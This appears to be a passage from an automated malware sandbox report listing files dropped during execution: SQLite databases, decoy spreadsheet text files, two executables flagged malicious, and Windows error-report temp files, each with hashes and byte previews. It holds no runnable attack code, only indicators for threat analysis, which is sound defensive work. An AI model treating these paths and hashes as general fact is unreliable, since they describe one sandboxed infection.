Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHCGDGIEBKJKFHJJKFCBFBGDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIJEGIIJDGHDGCBGHCAAECFHCG

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGIEBAEBFIIECBGCBGDHCAFC

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIDAKJDHJKFHIEBFCGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\ProgramData\JJJDGIECFCAKKFHIIIJEGDHIIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFBFHI

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1049600
Entropy (8bit):	7.586813349499062
Encrypted:	false
SSDEEP:	24576:7peBIQfi0lwzUpIEeQxsxPInhWsn0aDG3W:7UB7f3VxsZ4Wsn00Gm
MD5:	BABB0A05BFFC1AA3AD452F745FF1C9E1
SHA1:	95C86A5F55AB1A5481B4B8ADEE86677A9740B2DE
SHA-256:	1A6CF9AA24099FBC37FAC9B157A5DC41FA7003279749512314DAF8FE6157B27B
SHA-512:	F1FAF7D0C53778FAD98C413FFF2D3CF8DFC4A454B37AB4523B697268D0E81761BB0E6808532B9F819A89F8CBB282151ADD563B3D6E477806EDE20252D89E1C2B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....Y.d......................k.....+e............@...........................l.....1........................................Q..x.....j..$..........................0...8....................<.......<..@............................................text............................... ..`.rdata.............................@..@.data.....h..`.......B..............@....rsrc....$....j..&..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: TANQUIVUIA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\ProgramData\MXPXCVPDVN.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698669844484375
Encrypted:	false
SSDEEP:	24:7mMbmx9UKbA2JHc6cqYGtPrmwXr33hecYrnpTGwrhq0Lf6iNXQp:JI68rJcqjPSwXzRecYhGKq0LLG
MD5:	4FCF725C73B93BE52C2E1CD48AC3A562
SHA1:	98118BDED7CC2397C19310A914C6CA6B39CC47DE
SHA-256:	3803B68C31F1D6091C8D35F7B737B363C99ABED15B65899869E2A5AFA443D2C4
SHA-512:	8EDB10C8C81284109073EAABDB337F2AF5428AC5A50DE4999B61792D434D099124DF2DB5B2F58E9FC6335EA2E6F474291F8726DEF293A409418CDE6E0D5D7CFC
Malicious:	false
Preview:	MXPXCVPDVNZDMRYXKAXPKZSKXQENMVJGASOKSKKVKMVTFWCKJVQUEHFJLYGAGVTAPSEFWLYDESGESNCQQMFQIJOIYCFNJODSXZOERROXNDWXBZRWZFOKQBPLORLXBDLECIGMCKVUGLWKNMZJBHPGARIQDCSYHCPUKBGABSYSPDCWIMLINBEYVYXKDRVQIRPITEAVGQTKEJGNRGJGNMXLAZZZEOVLCHVHUAHQLECFOLMZPDMGFZOZZRCUGUGQXZRQEEYVPMGAXSRCPXPOCBVPESPOAHTWHHDKCHMXTJCJJDRFYUOIUWGYDNCJXDYQFYCADMQIYTSLSIQVEMFCENTOHNQNWXMKIUOZDFCOFDXWRGCINHQCHYKQMLGTDJSTFEPKLURPPUWEFYLYEFPSNQGBKUZJQDAVMAFGFXHFNGMNUPXAYGABBOYSAPGCMGQZYDGMRINVJWRFASDKOFXOQBOCWTMIFSMCIGFJLECWNXSPKYYMZPZTTKDCIUUBZTJKBGNEDOBUUIKPGSXPUUDSIAYBARDMCGXUVFSTYNWEUHFOSOADWNJSVGVNYVPTFIEGPCWGLEJGVLKBVQHFEPYYRMGWPMKQWLBOAFFRZQRDMFIHCLMXYKGCSNXZKWIKKIILSRZRKNKBMQKPDNBOSZDCMCNAMVOVGTUYRVJHPAMTCIPJHQZLFPQNHPQQTDAETXQMKGTZQPDKQISDDHIQFGGWJPCMAAAGGRYLKNAQHJDFVXQSDDSPCOTQDHQLRMFKVLQAFIBPIEJVVBHAMXWNJDJUFWZAUYOGKLIJAKPXHFCOGJJVGZXSWYIBAKNZMMSVHMHLNHNJCCWYZMEJWSAERLVHQEHUTACSGGGRMLAWNQTJDBBGLANCZUNRXUOYFLZHFFWFLDWPBOZWIRWKAIWLBOQNNKCSLPLMPBIDNPIJQEDKYXMBPUFPZCWHQURUYJBENNRMTLHPICTOSJUUPWITJRCCXDXEHQQYLVPFNZKWXNGEGYNB

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10F6.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	101526
Entropy (8bit):	3.068743720093317
Encrypted:	false
SSDEEP:	3072:6Nzzq3EpxCR4KA9a/zJZha7+RY05+Zj/ItqGM6OTzVbz0O5AoiBRp7AxidAC:H
MD5:	4BC97F08C109DC371B0C525529E4FC16
SHA1:	D6A2A9E7832B5564708805FB84454D0C04E9CF3B
SHA-256:	2C4DDAE6C3BEFED2C6339B18B86BEFF3C41F4589E0B152B1FA72FB9817744EA2
SHA-512:	A17A8DB2B047C1FFAB78C90E9E6D7961D7418DC7211F5E12BF6C671485C9982577B634B97B8866F476CF35336EFDD0ABF5A1E0B0B798B09DE9430458D2972450
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6989934641192126
Encrypted:	false
SSDEEP:	96:TiZYWWQMYTjdYdY1hqPHyYEZ+LtFi/+ESPwyZYmDPa3nUMtYfI1eT:2ZDWklaRtmka3nUMtYw1eT
MD5:	2FFD1A0FA8B14081E7B0129C2A214AEA
SHA1:	BDA0B629999CB868207C1E35F54E9546D70F3072
SHA-256:	73EE6D3C5CBD165586D223A47425FC4071A38D20CB02A627148762A3DD40693D
SHA-512:	90F464E57E273D2A7904687B3651199162F71D11BC3CB0FDFAD71B47B80E929D502A7F4C862775AEFDE6261C4DEC1F939E3FC38F1A484F63345BF34236EE8A16
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER131A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6992428687721737
Encrypted:	false
SSDEEP:	96:TiZYWAtRnOWoYbYpBmIvH0HxYEZUWtFiO+8SJw2FSgAbaIn5eMRYDIpeq:2ZD98s7TERaIn5eMRYMpeq
MD5:	A5FED2441AB37F205EF55D7679544C1D
SHA1:	2BB9BDE0208A16B7467A11FA7445F82C7E5DEBAC
SHA-256:	7F01DD4997112EE5F9A1E51BC54CB4B5C174F375F091664FFB3CDA327CD63A63
SHA-512:	D6126095252A745DA0E659C71DB4E3BE75BF1DB8BDFC5F800E7FDE56CA41DE7061585A61E2098B005430A3AEE17C26947B8CBA1E445127F19699F210A58BB4DC
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14B1.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	102778
Entropy (8bit):	3.067101925420493
Encrypted:	false
SSDEEP:	3072:0v0zq3EpxkRoyc3r0JZmr7+RY05+Zj/f8NYM6ORZdZYPTAN5YacmUadjE:d
MD5:	0173CE2B448A07F4EAD6910DBC1A1DF0
SHA1:	E3B44824BAAB1C369E5072D9F0A7F31A7FA24AEC
SHA-256:	7407993CF3B9DC8747EAFD445FB00117BB6161177D7D2F05C15245A905C2EB47
SHA-512:	C5FA726721AD3A77DA352B74A2252628F55AD785CCAE8FEBAE34F9B4D55C2E4309668DB6EE441AC6F7256E6AF5506E9BE592BD03E2820E75BE6759FD5919E72E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1687.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6991570675466474
Encrypted:	false
SSDEEP:	96:TiZYWDR9WWppYsYAcLo0H9YEZhatFiO+5SUwbTkia4nfMdYgyIKeP:2ZDnXLVeiTba4nfMdYQKeP
MD5:	9B9F8624B30461F0DDE39D8DDC16F597
SHA1:	7FA47BA1FFCBE932685EBC0AFAE665B92D93CBDF
SHA-256:	9BA05B87477F0AAC190F52E7E474F7580181E09E8024E2178E0E115A52DDBDEC
SHA-512:	89CD877399FD3A4E228C92B08AFC3A76E5DB7C650A82E6F4C1E9361FED721DAE85F489581DC32CEEC34A448219D296ACE763A6F9942C6C3F7F70DCEFE9D89FB4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . 